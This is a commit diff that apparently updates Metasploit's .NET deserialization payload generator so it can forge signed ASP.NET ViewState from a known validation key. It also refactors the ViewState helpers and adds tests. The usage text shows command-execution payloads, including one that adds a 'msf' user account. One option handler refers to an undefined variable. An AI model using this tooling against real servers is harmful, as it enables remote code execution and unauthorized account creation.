Land #18899, update ysoserial viewstate tool
This commit is contained in:
commit
55dd5aa9c0
|
@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
|
|||
command using the specified gadget chain and formatter.
|
||||
|
||||
Available formatters:
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
|
||||
Available gadget chains:
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
* ClaimsPrincipal
|
||||
* DataSet
|
||||
* DataSetTypeSpoof
|
||||
* ObjectDataProvider
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
|
||||
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
|
||||
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
|
||||
|
||||
Specific options:
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
-h, --help Show this message
|
||||
Examples:
|
||||
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
|
||||
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
|
||||
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
|
||||
|
||||
General options:
|
||||
-h, --help Show this message
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
|
||||
ViewState related options:
|
||||
--viewstate-generator <String>
|
||||
The ViewState generator string to use
|
||||
--viewstate-validation-algorithm <String>
|
||||
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
|
||||
--viewstate-validation-key <HexString>
|
||||
The validationKey from the web.config file
|
||||
```
|
||||
|
||||
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
|
||||
|
|
|
@ -51,60 +51,29 @@ module Exploit::ViewState
|
|||
end
|
||||
|
||||
def generate_viewstate(data, extra: '', algo: 'sha1', key: '')
|
||||
# Generate ViewState HMAC from known values and validation key
|
||||
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)
|
||||
|
||||
# Append HMAC to provided data and Base64-encode the whole shebang
|
||||
Rex::Text.encode_base64(data + hmac)
|
||||
Rex::Exploit::ViewState.generate_viewstate(data, extra: extra, algo: algo, key: key)
|
||||
end
|
||||
|
||||
def generate_viewstate_hmac(data, algo: 'sha1', key: '')
|
||||
OpenSSL::HMAC.digest(algo, key, data)
|
||||
Rex::Exploit::ViewState.generate_viewstate_hmac(data, algo: algo, key: key)
|
||||
end
|
||||
|
||||
def decode_viewstate(encoded_viewstate, algo: 'sha1')
|
||||
viewstate = Rex::Text.decode_base64(encoded_viewstate)
|
||||
decoded = Rex::Exploit::ViewState.decode_viewstate(encoded_viewstate, algo: algo)
|
||||
|
||||
unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
|
||||
vprint_error('Could not decode ViewState')
|
||||
return { data: nil, hmac: nil }
|
||||
end
|
||||
|
||||
hmac_len = generate_viewstate_hmac('', algo: algo).length
|
||||
|
||||
if (data = viewstate[0...-hmac_len]).empty?
|
||||
vprint_error('Could not parse ViewState data')
|
||||
data = nil
|
||||
end
|
||||
|
||||
unless (hmac = viewstate[-hmac_len..-1])
|
||||
vprint_error('Could not parse ViewState HMAC')
|
||||
end
|
||||
|
||||
{ data: data, hmac: hmac }
|
||||
vprint_error('Could not parse ViewState data') unless decoded[:data].present?
|
||||
vprint_error('Could not parse ViewState HMAC') unless decoded[:hmac].present?
|
||||
decoded
|
||||
rescue Rex::Exploit::ViewState::Error => error
|
||||
vprint_error("#{error.class.name}: #{error.message}")
|
||||
return { data: nil, hmac: nil }
|
||||
end
|
||||
|
||||
def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
|
||||
viewstate = decode_viewstate(encoded_viewstate)
|
||||
|
||||
unless viewstate[:data]
|
||||
vprint_error('Could not retrieve ViewState data')
|
||||
return false
|
||||
end
|
||||
|
||||
unless (their_hmac = viewstate[:hmac])
|
||||
vprint_error('Could not retrieve ViewState HMAC')
|
||||
return false
|
||||
end
|
||||
|
||||
our_hmac = generate_viewstate_hmac(
|
||||
viewstate[:data] + extra,
|
||||
algo: algo,
|
||||
key: key
|
||||
)
|
||||
|
||||
# Do we have what it takes?
|
||||
our_hmac == their_hmac
|
||||
Rex::Exploit::ViewState.can_sign_viewstate?(encoded_viewstate, extra: extra, algo: algo, key: key)
|
||||
rescue Rex::Exploit::ViewState::Error => error
|
||||
vprint_error("#{error.class.name}: #{error.message}")
|
||||
return false
|
||||
end
|
||||
|
||||
# Extract __VIEWSTATE from HTML
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploit
|
||||
class ViewState
|
||||
class Error < Rex::RuntimeError
|
||||
end
|
||||
|
||||
def self.decode_viewstate(encoded_viewstate, algo: 'sha1')
|
||||
viewstate = Rex::Text.decode_base64(encoded_viewstate)
|
||||
|
||||
unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
|
||||
raise Error.new('Could not decode ViewState')
|
||||
end
|
||||
|
||||
hmac_len = OpenSSL::Digest.new(algo).digest_length
|
||||
|
||||
if (data = viewstate[0...-hmac_len]).empty?
|
||||
data = nil
|
||||
end
|
||||
|
||||
hmac = viewstate[-hmac_len..-1]
|
||||
unless hmac&.length == hmac_len
|
||||
raise Error.new('Could not decode ViewState')
|
||||
end
|
||||
|
||||
{ data: data, hmac: hmac }
|
||||
end
|
||||
|
||||
def self.generate_viewstate(data, extra: '', algo: 'sha1', key: '')
|
||||
# Generate ViewState HMAC from known values and validation key
|
||||
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)
|
||||
|
||||
# Append HMAC to provided data and Base64-encode the whole shebang
|
||||
Rex::Text.encode_base64(data + hmac)
|
||||
end
|
||||
|
||||
def self.generate_viewstate_hmac(data, algo: 'sha1', key: '')
|
||||
OpenSSL::HMAC.digest(algo, key, data)
|
||||
end
|
||||
|
||||
def self.is_viewstate_valid?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
|
||||
viewstate = decode_viewstate(encoded_viewstate)
|
||||
|
||||
unless viewstate[:data]
|
||||
raise Error.new('Could not retrieve ViewState data')
|
||||
end
|
||||
|
||||
unless (their_hmac = viewstate[:hmac])
|
||||
raise Error.new('Could not retrieve ViewState HMAC')
|
||||
end
|
||||
|
||||
our_hmac = generate_viewstate_hmac(
|
||||
viewstate[:data] + extra,
|
||||
algo: algo,
|
||||
key: key
|
||||
)
|
||||
|
||||
# Do we have what it takes?
|
||||
our_hmac == their_hmac
|
||||
end
|
||||
|
||||
class << self
|
||||
alias_method :can_sign_viewstate?, :is_viewstate_valid?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,67 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/version'
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
# rubocop:disable Lint/DeprecatedGemVersion
|
||||
RSpec.describe Rex::Exploit::ViewState do
|
||||
let(:data) { Random.new.bytes(rand(10..100)) }
|
||||
let(:key) { Random.new.bytes(20) }
|
||||
|
||||
context 'when the algorithm is SHA-1' do
|
||||
let(:algo) { 'sha1' }
|
||||
|
||||
describe '.decode_viewstate' do
|
||||
let(:encoded) { described_class.generate_viewstate(data, algo: algo, key: key) }
|
||||
|
||||
it 'returns the data and HMAC' do
|
||||
decoded = described_class.decode_viewstate(encoded, algo: algo)
|
||||
expect(decoded).to be_a Hash
|
||||
expect(decoded[:data]).to eq data
|
||||
expect(decoded[:hmac]).to eq described_class.generate_viewstate_hmac(data, algo: algo, key: key)
|
||||
end
|
||||
end
|
||||
|
||||
describe '.generate_viewstate' do
|
||||
it 'generates the HMAC signature' do
|
||||
expect(described_class).to receive(:generate_viewstate_hmac).with(data, algo: algo, key: key).and_call_original
|
||||
described_class.generate_viewstate(data, algo: algo, key: key)
|
||||
end
|
||||
|
||||
it 'generates a Base64 encoded blob' do
|
||||
viewstate = described_class.generate_viewstate(data, algo: algo, key: key)
|
||||
debase64ed = Rex::Text.decode_base64(viewstate)
|
||||
expect(debase64ed).to eq data + described_class.generate_viewstate_hmac(data, algo: algo, key: key)
|
||||
end
|
||||
end
|
||||
|
||||
describe '.generate_viewstate_hmac' do
|
||||
it 'delegates to OpenSSL::HMAC' do
|
||||
expect(OpenSSL::HMAC).to receive(:digest).with(algo, key,data)
|
||||
described_class.generate_viewstate_hmac(data, algo: algo, key: key)
|
||||
end
|
||||
|
||||
it 'generates a 20 byte HMAC' do
|
||||
hmac = described_class.generate_viewstate_hmac(data, algo: algo, key: key)
|
||||
expect(hmac.bytesize).to eq 20
|
||||
end
|
||||
end
|
||||
|
||||
describe '.is_viewstate_valid?' do
|
||||
let(:encoded) { described_class.generate_viewstate(data, algo: algo, key: key) }
|
||||
|
||||
it 'raises an Error when it can not be decoded' do
|
||||
# use key.length / 2 to guarantee there is not enough data for the key to be found
|
||||
expect { described_class.is_viewstate_valid?(Rex::Text.encode_base64('A' * (key.length / 2))) }.to raise_error(described_class::Error)
|
||||
end
|
||||
|
||||
it 'returns true for the correct key' do
|
||||
expect(described_class.is_viewstate_valid?(encoded, algo: algo, key: key)).to be_truthy
|
||||
end
|
||||
|
||||
it 'returns false for the incorrect key' do
|
||||
expect(described_class.is_viewstate_valid?(encoded, algo: algo, key: key + '#')).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -12,6 +12,7 @@ end
|
|||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', '..', 'lib')))
|
||||
require 'msfenv'
|
||||
require 'rex'
|
||||
require 'rex/exploit/view_state'
|
||||
require 'optparse'
|
||||
|
||||
DND = Msf::Util::DotNetDeserialization
|
||||
|
@ -22,10 +23,15 @@ Generate a .NET deserialization payload that will execute an operating system
|
|||
command using the specified gadget chain and formatter.
|
||||
|
||||
Available formatters:
|
||||
#{DND::Formatters::NAMES.map { |n| " * #{n}\n"}.join}
|
||||
#{DND::Formatters::NAMES.map { |n| " * #{n}\n"}.join}
|
||||
Available gadget chains:
|
||||
#{DND::GadgetChains::NAMES.map { |n| " * #{n}\n"}.join}
|
||||
Example: #{__FILE__} -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
|
||||
#{DND::GadgetChains::NAMES.map { |n| " * #{n}\n"}.join}
|
||||
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
|
||||
|
||||
Examples:
|
||||
#{__FILE__} -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
|
||||
#{__FILE__} -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \\
|
||||
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
|
||||
}.strip
|
||||
|
||||
def puts_transform_formats
|
||||
|
@ -37,54 +43,96 @@ module YSoSerialDotNet
|
|||
class OptsConsole
|
||||
def self.parse(args)
|
||||
options = {
|
||||
formatter: DND::DEFAULT_FORMATTER,
|
||||
gadget_chain: DND::DEFAULT_GADGET_CHAIN,
|
||||
output_format: 'raw'
|
||||
formatter: DND::DEFAULT_FORMATTER,
|
||||
gadget_chain: DND::DEFAULT_GADGET_CHAIN,
|
||||
output_format: 'raw',
|
||||
viewstate_generator: '',
|
||||
viewstate_validation_algorithm: 'SHA1'
|
||||
}
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = BANNER
|
||||
opt.separator ''
|
||||
opt.separator 'Specific options:'
|
||||
opt.separator 'General options:'
|
||||
|
||||
opt.on('-h', '--help', 'Show this message') do
|
||||
$stdout.puts opt
|
||||
exit
|
||||
end
|
||||
|
||||
opt.on('-c', '--command <String>', 'The command to run') do |v|
|
||||
options[:command] = v
|
||||
end
|
||||
|
||||
opt.on('-f', '--formatter <String>', "The formatter to use (default: #{DND::DEFAULT_FORMATTER})") do |v|
|
||||
options[:formatter] = v.to_sym
|
||||
v = v.to_sym
|
||||
unless DND::Formatters::NAMES.include?(v)
|
||||
raise OptionParser::InvalidArgument, "#{v} is not a valid formatter"
|
||||
end
|
||||
|
||||
options[:formatter] = v
|
||||
end
|
||||
|
||||
opt.on('-g', '--gadget <String>', "The gadget chain to use (default: #{DND::DEFAULT_GADGET_CHAIN})") do |v|
|
||||
v = v.to_sym
|
||||
unless DND::GadgetChains::NAMES.include?(v)
|
||||
raise OptionParser::InvalidArgument, "#{v} is not a valid gadget chain"
|
||||
end
|
||||
|
||||
options[:gadget_chain] = v.to_sym
|
||||
end
|
||||
|
||||
opt.on('-o', '--output <String>', 'The output format to use (default: raw, see: --list-output-formats)') do |v|
|
||||
normalized = o.downcase
|
||||
unless Msf::Simple::Buffer.transform_formats.include?(normalized)
|
||||
raise OptionParser::InvalidArgument, "#{v} is not a valid output format"
|
||||
end
|
||||
|
||||
options[:output_format] = v.downcase
|
||||
end
|
||||
|
||||
opt.on_tail('--list-output-formats', 'List available output formats, for use with --output') do |v|
|
||||
opt.on('--list-output-formats', 'List available output formats, for use with --output') do |v|
|
||||
puts_transform_formats
|
||||
exit
|
||||
end
|
||||
|
||||
opt.on_tail('-h', '--help', 'Show this message') do
|
||||
$stdout.puts opt
|
||||
exit
|
||||
opt.separator ''
|
||||
opt.separator 'ViewState related options:'
|
||||
|
||||
opt.on('--viewstate-generator <String>', 'The ViewState generator string to use') do |v|
|
||||
unless v =~ /^[a-f0-9]{8}$/i
|
||||
raise OptionParser::InvalidArgument, 'must be 8 hex characters, e.g. DEAD1337'
|
||||
end
|
||||
|
||||
options[:viewstate_generator] = [v.to_i(16)].pack('V')
|
||||
end
|
||||
|
||||
opt.on('--viewstate-validation-algorithm <String>', 'The validation algorithm (default: SHA1, see: Available HMAC algorithms)') do |v|
|
||||
normalized = v.upcase.delete_prefix('HMAC')
|
||||
unless %w[SHA1 SHA256 SHA384 SHA512 MD5].include?(normalized)
|
||||
raise OptionParser::InvalidArgument, "#{v} is not a valid algorithm"
|
||||
end
|
||||
|
||||
# in some instances OpenSSL may not include all the algorithms that we might expect, so check for that
|
||||
unless OpenSSL::Digest.constants.include?(normalized.to_sym)
|
||||
raise RuntimeError, "OpenSSL does not support the #{normalized} digest"
|
||||
end
|
||||
|
||||
options[:viewstate_validation_algorithm] = normalized
|
||||
end
|
||||
|
||||
opt.on('--viewstate-validation-key <HexString>', 'The validationKey from the web.config file') do |v|
|
||||
unless v =~ /^[a-f0-9]{2}+$/i
|
||||
raise OptionParser::InvalidArgument, 'must be in hex'
|
||||
end
|
||||
|
||||
options[:viewstate_validation_key] = v.scan(/../).map { |x| x.hex.chr }.join
|
||||
end
|
||||
end
|
||||
|
||||
parser.parse!(args)
|
||||
|
||||
if options.empty?
|
||||
raise OptionParser::MissingArgument, 'No options set, try -h for usage'
|
||||
elsif options[:command].blank?
|
||||
if options[:command].blank?
|
||||
raise OptionParser::MissingArgument, '-c is required'
|
||||
elsif !DND::Formatters::NAMES.include?(options[:formatter])
|
||||
raise OptionParser::InvalidArgument, "#{options[:formatter]} is not a valid formatter"
|
||||
elsif !DND::GadgetChains::NAMES.include?(options[:gadget_chain])
|
||||
raise OptionParser::InvalidArgument, "#{options[:gadget_chain]} is not a valid gadget chain"
|
||||
elsif !Msf::Simple::Buffer.transform_formats.include?(options[:output_format])
|
||||
raise OptionParser::InvalidArgument, "#{options[:output_format]} is not a valid output format"
|
||||
end
|
||||
|
||||
options
|
||||
|
@ -110,11 +158,19 @@ module YSoSerialDotNet
|
|||
formatter: @opts[:formatter]
|
||||
)
|
||||
|
||||
if @opts[:viewstate_validation_key]
|
||||
serialized = Rex::Exploit::ViewState.generate_viewstate(
|
||||
serialized,
|
||||
extra: @opts[:viewstate_generator],
|
||||
algo: @opts[:viewstate_validation_algorithm],
|
||||
key: @opts[:viewstate_validation_key]
|
||||
)
|
||||
end
|
||||
|
||||
transformed = ::Msf::Simple::Buffer.transform(serialized, @opts[:output_format])
|
||||
$stderr.puts "Size: #{transformed.length}"
|
||||
$stdout.puts transformed
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue